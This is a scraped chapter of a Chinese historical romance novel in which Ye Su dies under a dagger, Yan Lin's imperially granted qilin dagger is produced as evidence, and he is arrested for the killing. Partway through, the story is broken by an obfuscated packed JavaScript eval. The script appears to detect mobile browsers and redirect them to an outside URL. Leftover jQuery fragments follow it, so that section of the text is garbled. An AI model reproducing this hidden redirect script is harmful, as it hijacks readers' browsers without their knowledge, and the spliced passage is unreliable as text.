30. 身殒 若没有换嫁

作品:《此间春色

    燕临直起身,慢慢向外走去。


    “你在这歇下吧,我去偏房。”


    到了正屋对面的偏房之中,几名婢女叩门而入,服侍他更衣换药。


    燕临将染了血渍的官袍脱下,挂着麒麟匕首的腰带也褪去,一应由下人们拿下去了。薛延入门为君侯上药,见他面色苍白,直心疼他是失血过多,若再多挺着,怕是就要没了力气倒下去了。


    是夜,燕临躺在床上,手心的痛感连接心脏,他翻来覆去地睡不着,脑中不断重复江诗宁白日里淡漠的神色。


    京郊宅院里,叶酥手中抱着一坛菊花酒,对月独酌。


    这是沈夫人的手艺,从前江鸿章最好这一口,夫妻情意还没有消散时,沈夫人几乎日日都要备好酒菜等丈夫下朝归来。


    不过三年,江鸿章便始乱终弃,纳了齐氏,沈夫人也郁郁而终,这门手艺便一纸秘方传到了江诗宁的手里。


    幼时,家中长辈不许饮酒,是以叶酥并未养成会喝酒的习惯。稍大些,江诗宁便也学着沈夫人的样子,酿起菊花酒来。叶酥总缠着她给自己倒上一壶,江诗宁笑他酒痴,但她并不知晓,叶酥是喜欢她,才跟在她身后。


    “诗宁,若当初没有换嫁,如今你应是我的妻。”


    他落下泪来,仰着头,靠在廊上立柱旁,眼泪便从眼尾处滑落下来,滴在地上。即使是春日夜里,廊上的风也好冷,他高束着的头发于微风中浮动。


    喝得醉了,叶酥坐在廊边的排椅之上,月光洒在白色的衣衫间,祥云如意的花纹绣在外缘,他仰头喝下最后一口菊花酒,廊中烛火熄灭,凸显这一池寂寞。


    恍惚间,他看见江诗宁自院内朝自己走来。


    她绕过池塘边弯弯曲曲的石子路,还梳着出嫁前的发髻,莞尔一笑,眼神温柔而欢欣。她唤着叶酥的名字,很慢很慢地靠近,慢到足以叫他细细地端详他深爱的人的身影。


    “诗宁?”


    他坐起身,理了理身上有些乱了的衣襟。


    江诗宁提着裙摆走上前来,将他的手轻轻握住。那双细嫩的柔荑摸索着他的右手,指尖掠过他掌心的纹路,从象征着命脉的那条蜿蜒曲折的线上,自源头开始,缓缓向下,直到她停住了,指尖便正好留在了他命脉的结尾处。


    一阵心脏绞痛自身体之内传来,眼前的江诗宁顷刻间化为泡影。叶酥瘫坐在原地挣扎着,双手痛苦地捂着胸脯的左侧,嘴里含糊不清地发出沉闷的呜嚎。只一盏茶的工夫,他的痛苦便抽丝剥茧般消失了。


    一把匕首直直地刺进了他的心脏。


    叶酥伸手去抓,可那人以黑纱覆面,只瞧得出是个身形伟岸的男子。他双目冰冷,带着势必要他性命的阴狠,拂袖离去。


    叶酥垂下手,不再挣扎,看着刺入身体的那把匕首,他突然又恋恋不舍地望向庭院,可哪里会有什么江诗宁的身影呢?不过是中毒太深,郁结过重,凭空生出了许多幻象罢了。


    “诗宁...”


    叶酥抬起一只胳膊,染满了鲜血的手朝着月光努力地够着,可抓来抓去,不过是镜花水月一场空,他终于死心了,摊在椅上,只有那双好看的秋水眸还含泪在瞧。


    他发不出声音了,连张嘴的能力都没有,只能在心底小声地说着:


    诗宁,今日一切都是我的过错。


    倘若我那日违抗父命,说什么都要争回你我的姻缘,此时此刻,是否我也能同燕临一样,拥你入怀,向外人称你是我的妻。


    可为何我成了你的外人呢?你我不该是如此的。


    诗宁,我说过会一世等你,如今我已经等完了我的一世,我舍不得,可却收不回我的这条命,正如同那年庚帖换名,我也没能换回我的妻。


    诗宁,忘了我吧,就当叶酥只是一朵花,一片叶,一池泉,当我从未来过。


    庭院里,凉风习习,一只白色的杜鹃花坠落在地。


    次日,江诗宁还沉在梦里,便被廊上一阵脚步声惊醒。她以为是燕临来了,可却不像,起身简单穿好衣服,拉开了院门,便见江晗宁哭哭啼啼地在院里哭。


    “长姐,你可是醒了!”


    江诗宁皱眉上前,询问她何事至于清早起身。


    “小叶大人殁了!”


    江晗宁哭得几乎晕了过去,低头用手帕揩泪,那生生哀切,倒是真心。


    “什么...”


    听了这话,江诗宁向后踉跄几步,跌坐下去,她下意识用手撑着身体,才没伤到肚子。正想问些什么,面前偏房的门便打了开来,燕临从里头走出来,见了江晗宁,却并未给好脸色,只是淡淡扫了她一眼。毕竟那时她诬陷亲姐,燕临自是不会原谅。


    看到江诗宁坐在草坪上,燕临赶忙跑下三五级台阶,到她身边将她扶起。双手马上就要触碰到她之时,江晗宁却突然说了句:


    “听说,是一把麒麟匕首将小叶大人毙了命。”


    江诗宁想到了什么,抬头去看燕临。


    二人对视,燕临听到江晗宁此话意有所指,直起身来,转过身盯着她:


    “你想说什么?”


    她依旧以手帕掩面,时不时抽泣两声。


    “姐夫,我知晓你是恨极了长姐与小叶大人私奔的,可如今长姐已经寻回,你看紧着些,长姐也不会再红杏出墙的,何苦要去杀了他呢,好歹小叶大人也是国相之子啊...”


    “如今叶相已经得知此事,哭得晕了好几次,现下还卧床不起呢。这可是叶家的独苗,陛下知晓此事,下令交给叶相严查,这若是连累了燕氏全族,可怎么是好啊!”


    燕临怒而喝道:


    “江晗宁!你休要胡诌!”


    她却低了头颅,摆出一副无辜的姿态来,可显然这招对燕临是不管用的。


    “长姐,你可莫要疑心妹妹啊。”


    “姐夫有一把先帝御赐的麒麟匕首,这事是尽人皆知的,燕氏也将其视为忠君爱国的象征,只能由家主佩戴。如今姐夫倒是气极了,竟将御赐之物拿去杀人,杀的还是当朝国相的独生子,妹妹如何也不能睁一只眼闭一只眼了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160929|164912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>燕临气得发抖,却不能把江晗宁当作女子一般打了去,便快步入了偏房屋内,要找出那把匕首来。


    “不必找了!”


    闻声看去,叶平成领着一众侍卫入内,他年纪有些大了,可走路的架势依旧气势逼人,不愧是百官之首。


    “岐侯,这是你的东西吧。”


    他示意,一旁的侍卫端出一个铜盘,在上放着一把精致的匕首,纯金打造的鞘,半露出的白刃上散着阵阵寒光,外有麒麟图腾的雕刻,四只麒麟相互勾连,栩栩如生。


    此刻,凝结的血迹却留在精致的匕首之上,更显杀气。


    燕临的耳边嗡嗡作响,他瞳孔放大,双唇微张着,看着那把匕首,解释不出一个字来。


    叶平成见状,重重地哼了一声。要说平常人家,若寻到杀子仇人,定是要冲上去将他碎尸万段的,可叶平成到底是一国宰相,他这时已气得双目发红,额上爆出青筋来,可依旧定在原地,忍着不上前亲手杀了燕临。


    “叶相,我并未杀害令郎。”


    他这一句虽镇定自若,可叶平成怎会信他。


    “岐侯,你心爱夫人,不能容许他人觊觎,我身为男子也是明白。可你的内眷既是自愿同长寿走的,现下又回了府上,你怎能如此视人命如草芥,谋害我儿!你不必多说,我今日带了人来,岐侯便非要与我大理寺走上一趟不可。”


    “请吧。”


    燕临回过神来,望着立在原处的江氏二女,心中说不出是何滋味。


    江晗宁穿着一身鹅黄色的襦裙,头发梳成个堕马髻的样式,左边戴着一支翡翠珍珠的步摇,面容姣好,看着是个气血足的。可她此时偏做出一副垂泪的模样来,点了口脂的唇太过夺目,倒显得虚伪。


    一旁的江诗宁却又太素雅了。她看着刚刚起身,面上有些疲惫,她未流一滴泪,眼眶却泛出粉红色来,仔细看了,能分辨得出是忍着不哭出声来。


    她看向燕临的眼神,不再是昨日那样的生疏,而是厌恶。


    燕临眨了眨眼睛,竟不敢相信眼前的一切是真实的,而非梦境。她竟用那样失望的眼神看着自己,眉宇间甚至不愿分给他半分可怜,一双杏眼没了灵气,只剩厌烦。


    她也相信江晗宁所言,认为叶酥是燕临所杀。


    “诗诗,不是…不是我。”


    燕临被叶平成带来的侍卫围着带走了,大理寺一贯严刑拷打,但此次嫌犯身份贵重,想来也是不会太为难人的,只是今时今日证物在堂,燕临此事在城中早已流传开来。


    只需稍一打听便知晓,如今城中百姓乃至官员府中都知晓了,堂堂岐侯竟为了爱妻怒杀国相之子,只因妒忌对方与妻子青梅竹马。


    一时间,貌美的江诗宁也成了祸水。


    甚至有人拿出当年积水潭折损燕家两名将军之事大做文章,说江鸿章表面上是送女求和,实则是为了勾引住岐侯,又钳制住叶相。


    如此一来,坐山观虎斗,渔翁得利的竟是身为局外人的江鸿章,可真是好心机,好算计。